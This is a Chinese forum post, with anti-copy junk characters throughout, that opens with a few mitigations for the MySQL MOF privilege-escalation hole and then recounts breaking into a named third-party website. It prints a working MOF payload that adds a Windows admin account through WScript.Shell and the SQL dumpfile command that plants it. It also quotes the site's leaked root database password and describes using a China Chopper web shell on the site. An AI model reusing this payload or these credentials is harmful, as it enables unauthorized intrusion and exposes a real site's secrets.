Mysql mof扩展漏洞防范方法( o. s. i% j0 r- o. A2 `5 m
* } c8 K1 C; w" V
网上公开的一些利用代码:/ K- X3 k/ q! n+ ]+ Y. c- F6 J. `
* m: L |, h, I7 `#pragma namespace(“\\\\.\\root\\subscription”)6 m$ N ~! e( L: f) P
$ j+ R" {: ~5 m# finstance of __EventFilter as $EventFilter { EventNamespace = “Root\\Cimv2″; Name = “filtP2″; Query = “Select * From __InstanceModificationEvent ” “Where TargetInstance Isa \”Win32_LocalTime\” ” “And TargetInstance.Second = 5″; QueryLanguage = “WQL”; }; instance of ActiveScriptEventConsumer as $Consumer { Name = “consPCSV2″; ScriptingEngine = “JScript”; ScriptText = “var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user admin admin /add\”)”; }; instance of __FilterToConsumerBinding { Consumer = $Consumer; Filter = $EventFilter; };
% S x5 ~: |' u/ d& b/ u e+ K4 N1 t& Q
' a3 @& o; ~0 W+ e1 `
7 m6 p4 C/ a t b8 [* e" E% |* o
$ S: l2 m: w9 O: I8 n $ V! _, }2 o- h. V3 }9 ^
o) \ Q2 F+ R9 n2 n4 l
连接mysql数据库后执行: select load_file(‘C:\\RECYCLER\\nullevt.mof’) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’;( E- ?# t# V6 [, y
从上面代码来看得出解决办法:* S) Y! L! s5 S0 i
$ d1 P/ y$ P6 B
1、mysql用户权限控制,禁止 “load_file”、”dumpfile”等函数
- Y& s+ X0 a4 ~( |. f- C, g( s7 t* N) A E4 d
2、禁止使用”WScript.Shel”组件* Z1 Y% s4 o3 j/ F
0 R( @/ Y8 j |1 M9 E" v3、目录权限c:/windows/system32/wbem/mof/ 删除内置特殊组CREATOR OWNER! z" \3 E, e4 M2 ]- F2 i
! j N! i* O# `. ^! e6 I5 O( D1 }" |当然上面是网上说的 感觉需要的权限很大 比如 root 还有mysql外链昨天碰到了就给大家演示下
9 ~# L G. O$ B% _+ s) r* Q2 L( v3 V( }9 ~
事情是这样发生的 一机油在论坛提问我就看了下 发现已经有大牛搞下了 说是用是 mysql mof扩展提权
( J( [, i3 P# ~* v
- b* r* ^3 V: i( ?% ~: R但是小菜发现没有听过于是赶紧去查资料学习…就有了上面的来着网上的内容
9 J7 U( Y2 O' e! @7 H
- k7 p# c" j6 e$ Z看懂了后就开始练手吧
4 O, t4 W* J$ x$ E( u. b
& @& E, X8 E, Mhttp://www.webbmw.com/config/config_ucenter.php 一句话 a
+ K& J& ^' z+ [' i: S- a- l# d3 `. P$ _
! [+ N. @! m) r4 F- T$_config['db']['1']['dbhost'] = ‘localhost’; $_config['db']['1']['dbuser'] = ‘root’; $_config['db']['1']['dbpw'] = ‘tfr226206′; $_config['db']['1']['dbcharset'] = ‘gbk’; $_config['db']['1']['pconnect'] = ’0′; $_config['db']['1']['dbname'] = ‘webbmw’; $_config['db']['1']['tablepre'] = ‘pre_’; $_config['db']['common']['slave_except_table'] = ”; 有root密码啊。8 r$ J4 @$ U9 {4 Y5 u3 G. t, C$ W
; a; m8 V# V/ m6 _6 I' x8 Y. S) M于是直接用菜刀开搞
' p8 C/ g- n# m7 F' U4 q& N6 D5 J$ U
上马先
! u$ D+ @5 b ?4 G" E4 a( p( V# q' @' b6 d1 w
既然有了那些账号 之类的 于是我们就执行吧…….8 f# `$ p- N4 C# H
& a6 f8 w3 e- Q* \. \) i& u小小的说下: w9 s: w- s6 r& @# z/ |
0 X# w3 o, ?/ S* u- O4 x
在这里第1次执行未成功 原因未知/ B9 G7 [. T- @# o
/ C' r" s5 ?2 Z( j) C D我就猜想是否是因为我们执行的代码有问题 于是我就去我wooyun找的代码。8 l" p; M, x+ u8 L5 s0 i% N# v
- a" v9 L; _9 r9 P* Z#pragma namespace(“\\\\.\\root\\subscription”)2 O6 F+ e5 V# r) w. I
9 V5 h/ {: o* |; @
instance of __EventFilter as $EventFilter { EventNamespace = “Root\\Cimv2″; Name = “filtP2″; Query = “Select * From __InstanceModificationEvent ” “Where TargetInstance Isa \”Win32_LocalTime\” ” “And TargetInstance.Second = 5″; QueryLanguage = “WQL”; }; instance of ActiveScriptEventConsumer as $Consumer { Name = “consPCSV2″; ScriptingEngine = “JScript”; ScriptText = “var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user test test /add\”)”; }; instance of __FilterToConsumerBinding { Consumer = $Consumer; Filter = $EventFilter; };
" G# `" K2 U1 S2 S
! ]- B% L" \5 H* ~我是将文件放到C:\WINDOWS\temp\1.mof: ~: q& E2 _* s9 c) K" V6 z0 d
, \& [4 r; _/ l! e- ?
所以我们就改下执行的代码
+ |9 G+ @1 b3 G8 r7 `- j" l& B5 @1 }9 G% K
select load_file(‘C:\WINDOWS\temp\1.mof‘) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’;& s5 w6 D& `3 ^& o5 E- I, U
' w8 h, \" r9 |1 ?. e0 F7 H5 U
?( R, d T# u* d0 G' w, u
. \. p- T- R. H4 @7 C) N但是 你会发现账号还是没有躺在那里。。1 v8 L" J6 K F! u- S8 {
: e, [7 W- r# H于是我就感觉蛋疼& \: ?) \7 k7 `6 C
7 A5 I, N! N' n. l就去一个一个去执行 但是执行到第2个 mysql时就成功了………
' T: v+ r3 c0 [" r
W4 o. H" L: C5 A0 {2 g3 _ M4 E! Z1 X, }
, [7 I" @7 ^! f$ [# Z2 g* {$ D/ R6 ]但是其他库均不成功…, x9 ^5 M- l u( Z( \
( Q' E/ I& l k7 F/ o
我就很费解呀 到底为什么不成功求大牛解答…
# Q8 m" K& p7 \) @( W' p
$ D+ q h( A: _/ ~7 q7 X2 W \3 Y; X* S( D4 _0 [$ Z
. _0 V3 k8 z: Q4 K2 l' c0 c% X- _2 j |